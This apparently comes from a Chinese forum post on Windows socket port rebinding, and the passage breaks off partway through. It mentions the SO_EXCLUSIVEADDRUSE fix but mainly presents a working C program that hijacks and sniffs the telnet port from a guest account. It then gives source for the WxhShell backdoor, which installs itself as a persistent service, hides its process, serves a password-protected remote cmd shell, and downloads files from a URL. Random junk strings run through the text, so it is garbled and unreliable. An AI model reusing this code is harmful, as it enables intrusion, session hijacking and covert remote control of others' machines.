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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7kLz[N6Ll s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }OR@~V{Gj G6P?2@ saddr.sin_family = AF_INET; H5B:;g@ qJs<#MQ2 saddr.sin_addr.s_addr = htonl(INADDR_ANY); L| +~"'l 286;=rN]* bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L#?Ek- h 8S. x) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nwe*BVp 85$m[+md 这意味着什么?意味着可以进行如下的攻击: dr}`H,X"3 x,+{9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |bHelD| -UEZ#Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TDKki(o=~ BLdvyVFx 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ItVWO:x&v %6,SKg p 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 +F` S>U -H@:* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W]1)zO (!aNq( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T^t#
c drP=A~?&: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X*XZb F"= KnQ*vM*VM #include Jy:Qlx` #include gQg"j) #include py!|\00} #include t;Sb/ 3 DWORD WINAPI ClientThread(LPVOID lpParam); )gIKH{JYL int main() +b<FO+E_ { $E~`\o%Ev WORD wVersionRequested; A*2jENgci DWORD ret; 7M!I8C0!aO WSADATA wsaData; HxV=F66"
BOOL val; I\{ 1u SOCKADDR_IN saddr; Y@vTaE^w3 SOCKADDR_IN scaddr; QzVnL U) int err; W=><)miQ@ SOCKET s; @7]yl&LZ SOCKET sc; oy=js - int caddsize; 1\~ "VF*{ HANDLE mt; ?
7n`A >T DWORD tid; x b~yM%*c wVersionRequested = MAKEWORD( 2, 2 ); ,t?B+$E err = WSAStartup( wVersionRequested, &wsaData ); |(E
FY\ if ( err != 0 ) { Xll}x+'uZK printf("error!WSAStartup failed!\n"); O)*+="Rg return -1; O!#g<`r{K } uAJx.>$b saddr.sin_family = AF_INET; NZLxHD]mp I<mV+ex //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :D6
ON"6 m)t;9J5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2j88<Yh]H saddr.sin_port = htons(23); rk2j#>l$4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )._; ~z! { z6=Z\P+ printf("error!socket failed!\n"); Oi'5ytsES return -1; ,+DG2u } 8,4"uuI val = TRUE; { ]{/t-= //SO_REUSEADDR选项就是可以实现端口重绑定的 /<=u\e'rE if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QL&ZjSN { ]Ji.Zk printf("error!setsockopt failed!\n"); v5#jZ$<F return -1; uM IIYS } ThajHK|U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wr/"yQA] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qZtzO2Mt //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EzM
?Nft N=5a54!/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P6-s0]-g { DS(}<HK{ ret=GetLastError(); l'-Bu( printf("error!bind failed!\n"); s4y73-J^.v return -1; zm5]J } wx=
$2N6 listen(s,2); ?}tFN_X" while(1) *=/ { HvJ { q s6]- caddsize = sizeof(scaddr); p
Z|V
3 //接受连接请求 x_N'TjS^{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (l~AV9!m: if(sc!=INVALID_SOCKET) RUnSC OdX { #uG%j mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Eex~xiiV if(mt==NULL) mI-]/: { {M4gF8(M printf("Thread Creat Failed!\n"); UT~4x|b:O break; [I,Z2G,Jb } eCDev} } ~S"+S/z/k CloseHandle(mt); ifMRryN4 } wo;~7K closesocket(s); 7Jyy z,!5 WSACleanup(); X;
\+<LE return 0; a
od-3"7[ } |}s*E_/[ DWORD WINAPI ClientThread(LPVOID lpParam) zII|9y { )hn6sXo+ SOCKET ss = (SOCKET)lpParam; u^+7hkk SOCKET sc; VGy<")8D/ unsigned char buf[4096]; }_M~2L?i SOCKADDR_IN saddr; ~ ?Qe?hB long num; 9iIhte. DWORD val; ,GbR!j@6 DWORD ret; UJAv`yjG //如果是隐藏端口应用的话,可以在此处加一些判断 }I+E\< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ]b:Lo saddr.sin_family = AF_INET; 8sWJcmVo saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 17%,7P9pg saddr.sin_port = htons(23); <s31W3<v if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0y'H~( { VX0 %a@ur printf("error!socket failed!\n"); WTQ\PANAaR return -1; 8`B3;Zmm } sQHv%]s 0 val = 100; pSH=%u> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F3[T.sf { J@HtoTDO3 ret = GetLastError(); Q2w_X8 return -1; Uou1mZz/ } #?aPisV
X> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mUAi4N { a8e6H30Sm ret = GetLastError(); T9E+\D return -1; #_ ;lf1x! } T?CdZc. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F`9xVnK= { lBLARz&c# printf("error!socket connect failed!\n"); 'A=^Se`= closesocket(sc); t:x\kp closesocket(ss); b;B%q$sntC return -1; wtLO!=B } PFlNo` iO while(1) Gi|w}j_ { $t'MSlF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y4
#>X //如果是嗅探内容的话,可以再此处进行内容分析和记录 R6<X%*&% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }z'8Bu num = recv(ss,buf,4096,0); j;+b0(53 if(num>0) $lfn(b, send(sc,buf,num,0); $D~0~gn~ else if(num==0) +/4A break; >;aWz%- num = recv(sc,buf,4096,0); TPQ%L@^L+ if(num>0) q5J5> send(ss,buf,num,0); r..iko]T else if(num==0) jh?H.;** break; .fqN|[> } .|KyNBn closesocket(ss); G{~J|{t\yz closesocket(sc); @f>-^ return 0 ; a@K%06A;' } @Rze|
T. 5:[0z5Hww *uRBzO} ========================================================== Lz}OwKl @}u*|P* 下边附上一个代码,,WXhSHELL gT{Q#C2Baw FW;?s+Uyx ========================================================== S&5&];Ag IxN9&xa #include "stdafx.h" ,Q$q=E;X :wyno#8`- #include <stdio.h> IVnHf_PzF #include <string.h> JPI3[.o #include <windows.h> !<8W
{LT #include <winsock2.h> \[i1JG #include <winsvc.h> Pl06:g2I #include <urlmon.h> VR 8-&N ;W
)Y
OT #pragma comment (lib, "Ws2_32.lib") #pow ub #pragma comment (lib, "urlmon.lib") u(.e8~s8 qbN
=4 #define MAX_USER 100 // 最大客户端连接数 ^$jb7HMObI #define BUF_SOCK 200 // sock buffer Lnl(2xD #define KEY_BUFF 255 // 输入 buffer 'W^YM@ Zd%k*BC #define REBOOT 0 // 重启 2%Ri,4SRb #define SHUTDOWN 1 // 关机 3BUSv#w{i DH!~ BB; #define DEF_PORT 5000 // 监听端口 BsDn5\q B)g[3gQ #define REG_LEN 16 // 注册表键长度 z (wc0I #define SVC_LEN 80 // NT服务名长度 FIhk@TKa qOtgve`jX // 从dll定义API 7M~K,E(7~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DU'`ewLL7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qS$Ox?Bw#u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xwq
(N_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bl;1i@Z*M w+|L+h3L7 // wxhshell配置信息 *u [BP@vE struct WSCFG { :Yh+>c}N int ws_port; // 监听端口 D?_Zl;bQ'^ char ws_passstr[REG_LEN]; // 口令 j{A y\n ( int ws_autoins; // 安装标记, 1=yes 0=no 'G4ICtHQ char ws_regname[REG_LEN]; // 注册表键名 \ :sUL! char ws_svcname[REG_LEN]; // 服务名 hx %v+/ char ws_svcdisp[SVC_LEN]; // 服务显示名 }2.`N%[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,!y$qVg'\f char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~Ea} /Au int ws_downexe; // 下载执行标记, 1=yes 0=no u|TeE\0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" oW*16>IN9l char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h(_57O: 24*XL, }; ?M9=yA [EXs // default Wxhshell configuration b9HtR -iR; struct WSCFG wscfg={DEF_PORT, x*U)Y "xuhuanlingzhe", >uhaW@d 1, X51: "Wxhshell", N
+_t-5 "Wxhshell", u?(d gJ "WxhShell Service", MaQqs= "Wrsky Windows CmdShell Service",
:KP@RZm "Please Input Your Password: ", G@X% +$I 1, f+)L#>Gl? " http://www.wrsky.com/wxhshell.exe", WO>nIo5Y "Wxhshell.exe" A[{yCn`tM }; {Gk1vcq 29] G^f> // 消息定义模块 vw/J8' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `e&Suyf4B char *msg_ws_prompt="\n\r? for help\n\r#>"; Vv=. -&' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; y/7\?qfTk char *msg_ws_ext="\n\rExit."; 0znR0%~ char *msg_ws_end="\n\rQuit."; Ka
V8[|Gn, char *msg_ws_boot="\n\rReboot..."; 4!yzsPJL char *msg_ws_poff="\n\rShutdown..."; hD!7Cl Q char *msg_ws_down="\n\rSave to "; *P=VFP D'DfJwA char *msg_ws_err="\n\rErr!"; flbd0NB char *msg_ws_ok="\n\rOK!"; oAeUvmh :OT0yA=U char ExeFile[MAX_PATH]; K
Z91- int nUser = 0; ?NsW|w_ HANDLE handles[MAX_USER]; vXZOy%$o int OsIsNt;
dkTX d{3QP5 SERVICE_STATUS serviceStatus; CkQ3#L <2 SERVICE_STATUS_HANDLE hServiceStatusHandle; WW~sNC\3`( OA;XiR$xP // 函数声明 cR<fJ[* int Install(void); Lnl=.z`jK int Uninstall(void); "J_9WUN int DownloadFile(char *sURL, SOCKET wsh); /t$d\b17pX int Boot(int flag); fJ!R6D void HideProc(void); <6 Uf.u` int GetOsVer(void); 6mxfLlZ int Wxhshell(SOCKET wsl); _F|Ek ;y% void TalkWithClient(void *cs); T}v4*O., int CmdShell(SOCKET sock); kJT)r6 int StartFromService(void); Q sCheHP int StartWxhshell(LPSTR lpCmdLine); $5%SNzzl e1Hgw[l` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @Z:l62l=bE VOID WINAPI NTServiceHandler( DWORD fdwControl ); 60?%<oJ oH '!~)?C< // 数据结构和表定义 i5@z< \ SERVICE_TABLE_ENTRY DispatchTable[] = O5T{eBo\ { lZKi'vg7 {wscfg.ws_svcname, NTServiceMain}, [2M'PT3 {NULL, NULL} ^WWQI+pk }; ^RIl LsU9 .
// 自我安装 Fd9[pU int Install(void) N6i Q8P- { &`2)V;t char svExeFile[MAX_PATH]; $X,D( HKEY key; V+9 MoT?8 strcpy(svExeFile,ExeFile); }`m/bgtFX
((M>s&\y*Y // 如果是win9x系统,修改注册表设为自启动 mrtb*7`$ if(!OsIsNt) { V1B5w_^>h' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HY:7? <r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WOL:IZX% RegCloseKey(key); rf{rpe$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v0.#Sl- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nUOz\y RegCloseKey(key); 3AN/
H return 0; U
z>+2m( } ^.QzQ1=D } ge8ZsaiU } 4
"'~NvO else { PB\x3pV!} Z4
=GMXj // 如果是NT以上系统,安装为系统服务 Z"fJ`-- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YS"=yye3e if (schSCManager!=0) dDLeSz$b { C1 *v,i SC_HANDLE schService = CreateService ln
dx"prW ( XU(eEnmom schSCManager, k@W1-D? wscfg.ws_svcname, JDT`C2-Q wscfg.ws_svcdisp, : eVq#3} SERVICE_ALL_ACCESS, r\^b(rNe SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -e:`|(Mo SERVICE_AUTO_START, &^Q/,H~S SERVICE_ERROR_NORMAL, 0flRh)[J svExeFile, Jdj4\ju NULL, g]0_5?i NULL, B^^#D0< NULL, {3aua:q NULL, eehb1L2(b NULL G" "ZI$` ); <7jW_R@ if (schService!=0) oNF6<A(@$ { j&qub_j"xX CloseServiceHandle(schService); /%io+94 CloseServiceHandle(schSCManager); pYf-S?Y/V strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3h`f 6 strcat(svExeFile,wscfg.ws_svcname); i=2N;sAl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $(x] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f4|rVP|x RegCloseKey(key); u]UOSf n return 0;
92oFlEJ } &Au@S$ij } `VguQl_,gA CloseServiceHandle(schSCManager); h<<v^+m } #o#H?Vo9b } R0*|Lo$6 uoh7Sz5!^ return 1; |P?*5xPB } s!$a\ k 63IM]J // 自我卸载 S3Jo>jXS " int Uninstall(void) FGq[\B { f]srRYSR HKEY key; [ub e6 \Yr Ue1 if(!OsIsNt) { BnF^u5kv % if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j^RmrOg, RegDeleteValue(key,wscfg.ws_regname); Yrq~5)% RegCloseKey(key); mj7#&r,1l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1T
n} RegDeleteValue(key,wscfg.ws_regname); 0?|<I{z2 RegCloseKey(key); `C'H.g\>2Q return 0; j8:\%| } J\=*#*rJ1 } kvu)y` } ((%?`y else { S)"Jf? )MT}+ai SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @gK?\URoT if (schSCManager!=0) R2vlFx/ { -X6PRE5a2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5~DJWi, if (schService!=0) Xne1gms { uHRsFlw if(DeleteService(schService)!=0) { >9Vn.S CloseServiceHandle(schService); }4X0epPp;: CloseServiceHandle(schSCManager); ]7c=PC return 0; rEz^ } :NTO03F7v CloseServiceHandle(schService); `N8O"UcoBo } #}5uno CloseServiceHandle(schSCManager); FW DNpr } 1s;Saq+ } &=mtc%mL 6j|{`Zd)G return 1; j3ls3H& } 0jWVp-y Bk{]g=DO // 从指定url下载文件 vtJJ#8a]
int DownloadFile(char *sURL, SOCKET wsh) k4zZ7H { gI|~|-' HRESULT hr; + Vdpy( char seps[]= "/"; NDokSw- char *token; 9%obq/Lb char *file; YtLt*Ig% char myURL[MAX_PATH]; vW@=<aS Z char myFILE[MAX_PATH]; Y8t8!{ytg ?:9"X$XR strcpy(myURL,sURL); 8zq=N#x token=strtok(myURL,seps); *|HY>U. while(token!=NULL) E _|<jy$` { <IW$m!{VG file=token; @IZnFHN token=strtok(NULL,seps); ~pky@O#b } uCB=u[]y4 ;722\y(Y GetCurrentDirectory(MAX_PATH,myFILE); ;-Aa|aT! strcat(myFILE, "\\"); `uTmw^pZX strcat(myFILE, file); 1G`Pmh@ send(wsh,myFILE,strlen(myFILE),0); <wHP2|<l* send(wsh,"...",3,0); }Ou}+^Bc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {id4:^u&; if(hr==S_OK) u)Whr@m return 0; 8H`[*|{' else ]hV*r@d return 1; &BSn? :b!s2n!u } X"*5+* z] AbOf6%Env // 系统电源模块 1k^oS$UT int Boot(int flag) ?Q;=v~-Q { 2st3 HANDLE hToken; x.4m|f0; TOKEN_PRIVILEGES tkp; :Llb< MY2 )Q JUUn# if(OsIsNt) { (**oRwr% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]eV8b*d6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K:WDl;8(d tkp.PrivilegeCount = 1; 'Z]w^< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b#o|6HkW AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]/{)bpu if(flag==REBOOT) { q1ma%eiN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PZzMHK?hP return 0; b\5F ]r } !bP@n else {
{K!)Ss if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TkF[x%o return 0; bW:!5"_{H } )LCHy^' } MWh6]gGs else { W}ofAkF if(flag==REBOOT) { -tU'yKhn if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?&uu[y return 0; /zox$p$?h } EiaW1Cs else { wdoR%b{M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qxJ\ye+'* return 0; .X;K%J2 } "uf%iJ:% } wKY_Bo/d {\\Tgs return 1; O33`+UV"W } ^kSqsT" 0IWf!Sk
] // win9x进程隐藏模块 Gp\
kU:}& void HideProc(void) 4{Z)8;QX { h>bx}$q (QiAisE HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O.JN ENZf if ( hKernel != NULL ) ,]/X\t5]D { TJ*T:?>e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \^1E4C\": ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]K%!@O! FreeLibrary(hKernel); N)Z?Z+}h } L4l!96]a #|``ca54B return; /wlEe>i } iam1V)V LXCx~;{\
// 获取操作系统版本 {7pli{` int GetOsVer(void) D3K8F@d { <\S:'g"( OSVERSIONINFO winfo;
W!(LF7_! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >KKMcTOYY GetVersionEx(&winfo); !1b;F*H if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (uidNq return 1; )=-szJjXZ else q" 5(H5 return 0; #)VF3T@#' } a-J.B.A$Z/ Yz93'HDB // 客户端句柄模块 -D~%|).' int Wxhshell(SOCKET wsl) |vzl. ^"- { h@wgd~X9 SOCKET wsh; lk80#( :Z struct sockaddr_in client; l9H!au= DWORD myID; 7cMv/g^h@ uXl3k:_n while(nUser<MAX_USER) An/|+r\ { 3irl
(;v int nSize=sizeof(client); '/%H3A#L wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H" 7u7l if(wsh==INVALID_SOCKET) return 1; k~z Iy;AZ /z $u]X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,"79P/C if(handles[nUser]==0) XRQ4\bMA8 closesocket(wsh); 1yY0dOoLG) else 3HK\BS nUser++; ,9
a } J9S>yLQK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6D_D' ;o |
VDV<g5h return 0; IO:G1;[/2L } FML(4BY, Wh{tZ~c // 关闭 socket %e} Saf void CloseIt(SOCKET wsh) X#;bh78&- { Ilm^G}GB closesocket(wsh); Rbv;?'O$L nUser--; ;YL i{ ExitThread(0); Z;)%%V%o } h2J
x]FJ eh#(eua0/ // 客户端请求句柄 ^T-V^^#( void TalkWithClient(void *cs) S:ztXhif> { sdmT b5n'=doR/I SOCKET wsh=(SOCKET)cs; BTrn0 char pwd[SVC_LEN]; Pj%|\kbNs char cmd[KEY_BUFF]; \Y}8S/] char chr[1]; \xoP)Ub> int i,j; ;i:d+!3XwC Ozf@6\/t while (nUser < MAX_USER) { 0_t!T'jr7 sCHJ&>m5- if(wscfg.ws_passstr) { y"wShAR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |LKXOU
c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~W]TD@w //ZeroMemory(pwd,KEY_BUFF); FaJ &GOM, i=0; u,4eCxYE$ while(i<SVC_LEN) { 3=ymm^ v|2T%y_
u // 设置超时 q> C'BIr fd_set FdRead; $iz|\m struct timeval TimeOut; GR32S=\ FD_ZERO(&FdRead); '2^Q1{ :\ FD_SET(wsh,&FdRead); lHX72s|V TimeOut.tv_sec=8; Y:a]00&)#Y TimeOut.tv_usec=0; `PH{syz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?FcAXA/J{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h.t-`k7 h'F=YF$o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &:)Wh[ pwd =chr[0]; 5XBH$&Td if(chr[0]==0xd || chr[0]==0xa) { '`KY!]L pwd=0; u.Dz~$T break; DR<9#RRD } |
%Vh`HT i++; ?5
7Sk+ } `W*U4?M tZG:Pr1U@ // 如果是非法用户,关闭 socket w+CA1q< if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W6/yn } Ek]'km! CizX<Cr} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~R92cH>L send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R*2E/8Ia u4h4.NHX while(1) { "a U
aotx 6 ~w@PRy ZeroMemory(cmd,KEY_BUFF); Q$@I"V&G. #4 pB@_ // 自动支持客户端 telnet标准 rh}J3S5vp j=0; 6j LCU%^ while(j<KEY_BUFF) { !d0kV,F: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `RL"AH:+ cmd[j]=chr[0]; wDe& 1(T^ if(chr[0]==0xa || chr[0]==0xd) { E09:E cmd[j]=0; 5]Y?m' break; 81
sG } fS78>*K j++; OYTkV}tG } v #j$; ?2Py_gkf // 下载文件 L0WN\|D if(strstr(cmd,"http://")) { eV?2LtT#5 send(wsh,msg_ws_down,strlen(msg_ws_down),0); k_nql8H if(DownloadFile(cmd,wsh)) 9m~p0 ILh send(wsh,msg_ws_err,strlen(msg_ws_err),0); 338k?nHxv else _^%,x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q9r[$%G } x-&@wMqkc else { n[Y~] m`^q <sj switch(cmd[0]) {
tG22#F` l?n\i]' // 帮助 [j/9neaye case '?': { z/@slT send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <k'h:KB?` break; >V8-i` } a'yK~;+_9 // 安装 }l} Bo.C case 'i': { 68C%B9.b' if(Install()) dn$!& send(wsh,msg_ws_err,strlen(msg_ws_err),0); #( 146 else <FkFs{(t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l L@XM2" break; eF-."1 } XW)lDiJl // 卸载 "CQa.% case 'r': { =wV<hg)C if(Uninstall()) Pw`8Wj send(wsh,msg_ws_err,strlen(msg_ws_err),0); nV/G8SeI else 6HWE~`ok6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `%"\@< break; #r~# I}U } YWO)HsjP // 显示 wxhshell 所在路径 bI9~jWgGp case 'p': { ~H<6gN<j(. char svExeFile[MAX_PATH]; yg=q;Z>[~ strcpy(svExeFile,"\n\r"); .2Elr(&*h strcat(svExeFile,ExeFile); b&N'C9/8 send(wsh,svExeFile,strlen(svExeFile),0); 9x9 T<cx break; u(F_oZ~ } 9ZsVy // 重启 l'E*=Rn case 'b': { paE[rS\ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3J|F?M"N7 if(Boot(REBOOT)) }?_?V&K| send(wsh,msg_ws_err,strlen(msg_ws_err),0); qvKG-|j else { z3m85F%dR closesocket(wsh); u?<%q! ExitThread(0); yfjWbW } Z4w!p?Wqa break; 6@F9G4<Z }
goOCu // 关机 dhf!o0'1M case 'd': { u5b|#&-mX send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BLf>_bUk if(Boot(SHUTDOWN)) h#
o6K# send(wsh,msg_ws_err,strlen(msg_ws_err),0); g63(E,;;J else { XZ]uUP closesocket(wsh); vDhh>x( ExitThread(0); ND#Yenye } -[9JJ/7y
break; 1POmP&fI( } &4x}ppX // 获取shell BWv^zi case 's': { t[;LD_ CmdShell(wsh); )9'K($ closesocket(wsh); 7<#U(,YEA ExitThread(0); Val|n*% break; :W.(S6O( } p\tm:QWD; // 退出 kY|utoAP case 'x': { H.|#c^I send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GxI!{oi2 CloseIt(wsh); U}e!Wjrc break; S.94edQ } K6/Q}W // 离开 CR`Q#Yi case 'q': { RYQR(v send(wsh,msg_ws_end,strlen(msg_ws_end),0); )@l% closesocket(wsh); BB!THj69a6 WSACleanup(); Fg5kX exit(1); 0$)>D== break; *ebSq) } {JO } $=8
NED5 } %G_B^p4 nn:.nU|I // 提示信息 Vvn2 Ep if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2~1SQ.Q<RY } ll<Xz((o } ^w@%cVh *yt=_Q return; wOEj)fp. } fF$<7O)+] 0w\zLU // shell模块句柄 vMi;+6'n> int CmdShell(SOCKET sock) Jr
,;>
{ `iAF3: STARTUPINFO si; 0d"[l@UU0 ZeroMemory(&si,sizeof(si)); &0OG*}gi si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a LroD$# si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mPtZO*Fc PROCESS_INFORMATION ProcessInfo; EyD=q! ZVZ char cmdline[]="cmd"; q77;ZPfs8 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jk; clwyz/ return 0; +,TRfP
Fb } 85 |OGtt U0
Yll4E // 自身启动模式 j9x<Y] int StartFromService(void) h5{'Q$Erl { 1MP~dRZ$ typedef struct xd q?/^E { zl>nSndRE DWORD ExitStatus; !*F1q|R DWORD PebBaseAddress; W#4 7h7M DWORD AffinityMask; @; zl DWORD BasePriority; /yDz/>ID\ ULONG UniqueProcessId; 6y%qVx#! ULONG InheritedFromUniqueProcessId; (lBCO?`fx } PROCESS_BASIC_INFORMATION; (>UZ<2GPL 2\A$6N;_ PROCNTQSIP NtQueryInformationProcess; UUYSFa% g|DF[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N=T<_`$5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U3ADsdn Cx(>RXVoJ, HANDLE hProcess; Fh?gNSWq6 PROCESS_BASIC_INFORMATION pbi; ??-[eB. 0U(@=7V HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {3>$[bT if(NULL == hInst ) return 0; Ga-k zH?! g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 